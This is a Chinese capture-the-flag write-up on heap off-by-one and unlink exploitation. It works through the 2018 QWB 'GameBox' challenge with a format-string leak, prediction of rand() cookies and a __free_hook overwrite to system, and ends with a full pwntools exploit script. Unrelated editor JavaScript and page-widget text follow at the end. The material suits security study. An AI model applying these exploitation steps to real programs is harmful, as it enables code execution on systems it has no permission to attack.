堆上的off-by-one+unlink

off-by-one

  • 由于对字符串长度校验不恰当,导致写入数据的时候多写了一个字节,这种情况就叫做 off-by-one
  • 正所谓一个巴掌拍不响, off-by-one 也是,必须要结合其他的漏洞或者程序的具体实现才能真正构成威胁
  • off-by-one 有两种形式:

(1)多写入一个任意字节,示例代码:

for(int i=0;i<=len;i++){
	read(0,buf[i],1);
}

(2)越界写入一个 NULL ,此又称做—— null-off-by-one ,示例代码:

int i;
for(i=0;i<len;i++){
	read(0,buf[i],1);
}
buf[i]='\0';
  • 利用 off-by-one 一般能够实现:

(1) 堆交叉
(2) unlink

  • 相对于使用 堆溢出 来实现 unlinknull-off-by-one 较为复杂。因为它会破坏堆的结构,所以在利用的时候还需要修复,后面会有一个例题。
  • 32位(64位) 下,堆的大小是以 8(16) 字节对齐。例如,申请的是 0x24(0x28),则实际会分配 0x20 大小,多出来的 4(8) 字节由下个 chunk->prev_size 提供。因此如果存在 off-by-one,我们想利用它,一般都会分配 不对齐的 大小。

例题:强网杯2018-GameBox

在这里插入图片描述

  • 存在 off-by-one 漏洞,分别在 添加编辑 操作中。
    在这里插入图片描述
  • 还存在 格式化字符串漏洞 ,在 输出 操作中。
    在这里插入图片描述
  • 另外令人反感的就是要想进入 添加 操作,还得猜 cookie
    在这里插入图片描述
  • 如果要进行 编辑删除 操作还得先输入之前猜解出来的 cookie,每一个 chunk 对应着不同的cookie
  • 这里直接使用了 rand,之前并没有 srand,因此 cookie 都是可以预测的,但是要注意的是, python 的随机数和 C/C++ 的随机数生成算法不同,所以这里需要用到 C的部分代码。
  • 我们可以编写一个 DLL,然后用 pythonctypes 来加载。
现在来说说怎么利用 off-by-one
  • 因为开启了 PIE ,所以我们要泄露出 PIE 的基址,另外还有 libc 的基址,可以用 格式化字符串漏洞 来实现。

  • 申请一个 chunk,可以从栈中找到相关数据的偏移。

      Add(0x20,'%13$paaaa%9$p')#0
      Show()
      p.recvuntil('0:')
      libc_addr=int(p.recvuntil('a'*4,drop=True),16)-240-libc.sym['__libc_start_main']
      free_hook=libc.sym['__free_hook']+libc_addr
      system=libc.sym['system']+libc_addr
      pie=int(p.recvuntil('=',drop=True),16)-0x18d5
    
  • 再申请3个 chunk

      Add(0x108,'a'*8)#1
      Add(0x100,'b'*8)#2
      Add(0x30,'/bin/sh')#3
    
  • 这里有必要说明一下 chunk2 的大小一定要大等于 0x100,因为这里的 off-by-one 会把 next chunk->size 最低一个字节覆盖成 0

  • 然后按照常规的伪造方法

      pay=p64(0)+p64(0x101)+p64(box_list-0x18)+p64(box_list-0x10)+'a'*(0x100-0x20)+p64(0x100)
      Edit(1,1,pay)
    
  • 注意:box_list的选取最好是你free掉的那个指针所在的地址,这样不容易出错。

  • 此时我们发现堆块被破坏了:
    在这里插入图片描述

  • 没了 chunk3top chunk 。原因是原本的 addr=0x55e7b5fa9150,size=0x110 ,我们现在需要修复它。
    在这里插入图片描述

  • 通过观察内存的分布,我们要修改 chunk3size=0x55e7b5fa9260-0x55e7b5fa9150-0x100=0x10,即 chunk3-chunk2-0x100

      pay='c'*(0x100-0x10)+p64(0)+p64(0x11)
      Edit(2,2,pay)
    
  • 修改之后,堆结构恢复了正常:
    在这里插入图片描述

  • 此时我们 freechunk2 即可实现 unlink ,后面就可以任意地址写了。我将 free_hook 改写为 system

      Del(2,2)
      Edit(1,1,'a'*0x18+p64(free_hook))
      Edit(1,1,p64(system))
    
DLL 编写
#include<stdlib.h>

int Random(){
	return rand();
}
//使用 gcc rand.c -fpic -shared -o libcrandom.so 命令生成 DLL
完整的EXP
from pwn import*
import ctypes
#context.log_level='debug'
func=ctypes.CDLL('./libcrandom.so')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
p=process('./GameBox')
list_cookies=[]
def Guess():
    r=''
    for i in range(24):
        r+=chr(func.Random()%26+ord('A'))
    return r

def Add(size,name):
    p.sendlineafter('xit\n','P')
    g=Guess()
    list_cookies.append(g)
    p.sendlineafter('write:\n',g)
    p.sendlineafter('length:\n',str(size))
    p.sendlineafter('name:\n',name)
def Show():
    p.sendlineafter('xit\n','S')
def Del(idx,c_id):
    p.sendlineafter('xit\n','D')
    p.sendlineafter('index:\n',str(idx))
    p.sendlineafter('Cookie:\n',list_cookies[c_id])
def Edit(idx,c_id,name):
    p.sendlineafter('xit\n','C')
    p.sendlineafter('index:\n',str(idx))
    p.sendlineafter('Cookie:\n',list_cookies[c_id])
    p.sendlineafter('):\n',name)

Add(0x20,'%13$paaaa%9$p')#0
Show()
p.recvuntil('0:')
libc_addr=int(p.recvuntil('a'*4,drop=True),16)-240-libc.sym['__libc_start_main']
free_hook=libc.sym['__free_hook']+libc_addr
system=libc.sym['system']+libc_addr
pie=int(p.recvuntil('=',drop=True),16)-0x18d5
success('libc_addr:'+hex(libc_addr))
success('free_hook:'+hex(free_hook))
success('system:'+hex(system))
success('pie:'+hex(pie))
box_list=pie+0x203130
success('box_list:'+hex(box_list))
Add(0x108,'a'*8)#1
Add(0x100,'b'*8)#2
Add(0x30,'/bin/sh')#3
pay=p64(0)+p64(0x101)+p64(box_list-0x18)+p64(box_list-0x10)+'a'*(0x100-0x20)+p64(0x100)
Edit(1,1,pay)
pay='c'*(0x100-0x10)+p64(0)+p64(0x11)
Edit(2,2,pay)
Del(2,2)
Edit(1,1,'a'*0x18+p64(free_hook))
Edit(1,1,p64(system))
Del(3,3)
p.interactive()

总结

  • 在利用null-off-by-one 实现 unlink 时要注意修复被破坏的堆结构。
  • 需要分配不对齐的大小才能利用存在的 off-by-one 漏洞。
  • null-off-by-one 会修改 next chunk->size 的最低一个字节为 0,因此需要分配的大小大于等于 0x100
  • python 的随机数算法与 C/C++ 不一致。
'use strict'; /** +------------------------------------------------------------------------------------+ + iceEditor(富文本编辑器) +------------------------------------------------------------------------------------+ + iceEditor v1.1.9 * MIT License By iceui.cn + 作者:ice + 官方:iceui.cn + 时间:2021-06-23 +------------------------------------------------------------------------------------+ + 版权声明:该版权完全归iceUI官方所有,可转载使用和学习,但请务必保留版权信息 +------------------------------------------------------------------------------------+ + iceEditor是一款简约风格的富文本编辑器,体型十分娇小,无任何依赖,整个编辑器只有一个 + 文件,功能却很不平凡!简约的唯美设计,简洁、极速、使用它的时候不需要引用jQuery、font + css……等文件,因为整个编辑器只是一个Js,支持上传图片、附件!支持添加音乐、视频! +------------------------------------------------------------------------------------+ */ var ice = ice || {}; ice.editor = function (id,callback) { class iceEditor { constructor(id) { //------------------------参数配置 开始------------------------ // 工具栏菜单 this.menu = [ 'backColor', 'fontSize', 'foreColor', 'bold', 'italic', 'underline', 'strikeThrough', 'line', 'justifyLeft', 'justifyCenter', 'justifyRight', 'indent', 'outdent', 'line', 'insertOrderedList', 'insertUnorderedList', 'line', 'superscript', 'subscript', 'createLink', 'unlink', 'line', 'hr', 'face', 'table', 'files', 'music', 'video', 'insertImage', 'removeFormat', 'paste', 'line', 'code' ]; // 不需要的工具栏菜单 this.notMenu = []; // 文字背景颜色 this.backColor = [ '#ffffff', '#000000', '#eeece1', '#1f497d', '#4f81bd', '#c0504d', '#9bbb59', '#8064a2', '#4bacc6', '#f79646', '#f2f2f2', '#979797', '#ddd9c3', '#c6d9f0', '#dbe5f1', '#f2dcdb', '#ebf1dd', '#e5e0ec', '#dbeef3', '#fdeada', '#d8d8d8', '#595959', '#c4bd97', '#8db3e2', '#b8cce4', '#e5b9b7', '#d7e3bc', '#ccc1d9', '#b7dde8', '#fbd5b5', '#bfbfbf', '#3f3f3f', '#938953', '#548dd4', '#95b3d7', '#d99694', '#c3d69b', '#b2a2c7', '#92cddc', '#fac08f', '#a5a5a5', '#262626', '#494429', '#17365d', '#366092', '#953734', '#76923c', '#5f497a', '#31859b', '#e36c
最新发布
03-15
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值